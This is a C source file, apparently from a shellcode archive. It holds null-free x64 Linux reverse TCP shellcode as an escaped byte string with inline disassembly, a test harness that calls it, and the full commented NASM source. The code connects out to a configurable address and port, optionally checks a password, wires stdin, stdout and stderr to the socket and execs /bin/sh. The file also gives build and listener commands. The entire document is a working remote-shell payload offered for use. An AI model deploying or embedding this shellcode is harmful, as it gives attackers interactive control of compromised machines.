/* * Author: Sean Dillon * Copyright: (c) 2014 CAaNES, LLC. (http://caanes.com) * Release Date: December 19, 2014 * * Description: x64 Linux null-free reverse TCP shellcode, optional 4 byte password * Assembled Size: 77 - 85 bytes, 90 - 98 with password * Tested On: Kali 1.0.9a GNU/Linux 3.14.5-kali1-amd64 x86_64 * License: http://opensource.org/license/MIT * * Build/Run: gcc -m64 -z execstack -fno-stack-protector reverseshell.c -o reverseshell.out * nc -l -p 4444 */ /* * NOTE: This C code connects to 127.0.0.1:4444 and does not have the password option enabled. * Because the IP 127.0.0.1 contains null-bytes, a mask has to be used, adding 8 bytes. * The end of this file contains the .nasm source code and instructions for building from that. */ #include #include char shellcode[] = "\x31\xf6" /* xor %esi,%esi */ "\xf7\xe6" /* mul %esi */ "\xff\xc6" /* inc %esi */ "\x6a\x02" /* pushq $0x2 */ "\x5f" /* pop %rdi */ "\x04\x29" /* add $0x29,%al */ "\x0f\x05" /* syscall */ "\x50" /* push %rax */ "\x5f" /* pop %rdi */ "\x52" /* push %rdx */ "\x52" /* push %rdx */ "\xc7\x44\x24\x04\x7d\xff\xfe" /* movl $0xfefeff7d,0x4(%rsp) */ "\xfe" /* . */ "\x81\x44\x24\x04\x02\x01\x01" /* addl $0x2010102,0x4(%rsp) */ "\x02" /* . */ "\x66\xc7\x44\x24\x02\x11\x5c" /* movw $0x5c11,0x2(%rsp) */ "\xc6\x04\x24\x02" /* movb $0x2,(%rsp) */ "\x54" /* push %rsp */ "\x5e" /* pop %rsi */ "\x6a\x10" /* pushq $0x10 */ "\x5a" /* pop %rdx */ "\x6a\x2a" /* pushq $0x2a */ "\x58" /* pop %rax */ "\x0f\x05" /* syscall */ "\x6a\x03" /* pushq $0x3 */ "\x5e" /* pop %rsi */ "\xff\xce" /* dec %esi */ "\xb0\x21" /* mov $0x21,%al */ "\x0f\x05" /* syscall */ "\x75\xf8" /* jne 39 */ "\x56" /* push %rsi */ "\x5a" /* pop %rdx */ "\x56" /* push %rsi */ "\x48\xbf\x2f\x2f\x62\x69\x6e" /* movabs $0x68732f6e69622f2f,%rdi */ "\x2f\x73\x68" /* . */ "\x57" /* push %rdi */ "\x54" /* push %rsp */ "\x5f" /* pop %rdi */ "\xb0\x3b" /* mov $0x3b,%al */ "\x0f\x05" /* syscall */; main(void) { printf("Shellcode length: %d\n", (int)strlen(shellcode)); /* pollute registers and call shellcode */ __asm__ ( "mov $0xffffffffffffffff, %rax\n\t" "mov %rax, %rbx\n\t" "mov %rax, %rcx\n\t" "mov %rax, %rdx\n\t" "mov %rax, %rsi\n\t" "mov %rax, %rdi\n\t" "mov %rax, %rbp\n\t" "call shellcode" ); } /* -------------------------------------------------------------------------------------- ; Author: Sean Dillon ; Company: CAaNES, LLC. (http://caanes.com) ; Release Date: December 19, 2014 ; ; Description: x64 Linux null-free reverse TCP shellcode, optional 4 byte password ; Assembled Size: 77 - 85 bytes, 90 - 98 with password ; Tested On: Kali 1.0.9a GNU/Linux 3.14.5-kali1-amd64 x86_64 ; License: http://opensource.org/license/MIT ; ; Build/Run: nasm -f elf64 -o reverseshell.o reverseshell.nasm ; ld -o reverseshell reverseshell.o ; objdump -d --disassembler-options=addr64 reverseshell BITS 64 global _start section .text ; settings %define USEPASSWORD ; comment this to not require password PASSWORD equ 'Z~r0' ; cmp dword (SEGFAULT on fail; no bruteforce/cracking/etc.) IP equ 0x0100007f ; default 127.0.0.1, contains nulls so will need mask PORT equ 0x5c11 ; default 4444 ; change the null-free mask as needed %define NULLFREE_MASK 0x02010102 ; comment this out if no .0. in IP, save 8 bytes %ifdef NULLFREE_MASK %define NULLFREE_IP IP - NULLFREE_MASK %else %define NULLFREE_IP IP %endif ; syscall kernel opcodes SYS_SOCKET equ 0x29 SYS_CONNECT equ 0x2a SYS_DUP2 equ 0x21 SYS_EXECVE equ 0x3b ; argument constants AF_INET equ 0x2 SOCK_STREAM equ 0x1 _start: ; High level psuedo-C overview of shellcode logic: ; ; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) ; IP = NULLFREE_IP + NULLFREE_MASK ; struct sockaddr = {AF_INET; [PORT; IP; 0x0]} ; ; connect(sockfd, &sockaddr, 16) ; ; read(sockfd, *pwbuf, 16) // 16 > 4 ; if (pwbuf != PASSWORD) goto drop ; ; dup2(sockfd, STDIN+STDOUT+STDERR) ; execve("/bin/sh", NULL, NULL) create_sock: ; sockfd = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 xor esi, esi ; 0 out rsi mul esi ; 0 out rax, rdx ; rdx = IPPROTO_IP (int: 0) inc esi ; rsi = SOCK_STREAM (int: 1) push AF_INET ; rdi = AF_INET (int: 2) pop rdi add al, SYS_SOCKET syscall ; copy socket descriptor to rdi for future use push rax pop rdi struct_sockaddr: ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = inet_addr("127.0.0.1") ; bzero(&server.sin_zero, 8) push rdx push rdx mov dword [rsp + 0x4], NULLFREE_IP %ifdef NULLFREE_MASK add dword [rsp + 0x4], NULLFREE_MASK %endif mov word [rsp + 0x2], PORT mov byte [rsp], AF_INET connect_sock: ; connect(sockfd, (struct sockaddr *)&server, sockaddr_len) push rsp pop rsi push 0x10 pop rdx push SYS_CONNECT pop rax syscall %ifdef USEPASSWORD password_check: ; password = read(sockfd, *buf, 4) ; rsi = &buf (char*) ; rdx = 0x10, >4 bytes xor eax, eax ; SYS_READ = 0x0 syscall cmp dword [rsp], PASSWORD ; simple comparison jne drop ; bad pw, abort %endif dupe_sockets: ; dup2(sockfd, STDIN) ; dup2(sockfd, STDOUT) ; dup2(sockfd, STERR) push 0x3 ; loop down file descriptors for I/O pop rsi dupe_loop: dec esi mov al, SYS_DUP2 syscall jne dupe_loop exec_shell: ; execve('//bin/sh', NULL, NULL) push rsi ; *argv[] = 0 pop rdx ; *envp[] = 0 push rsi ; '\0' mov rdi, '//bin/sh' ; str push rdi push rsp pop rdi ; rdi = &str (char*) mov al, SYS_EXECVE ; we fork with this syscall syscall drop: ; password check failed, crash program with BADINSTR/SEGFAULT ;--------------------------------------------------------------------------------------*/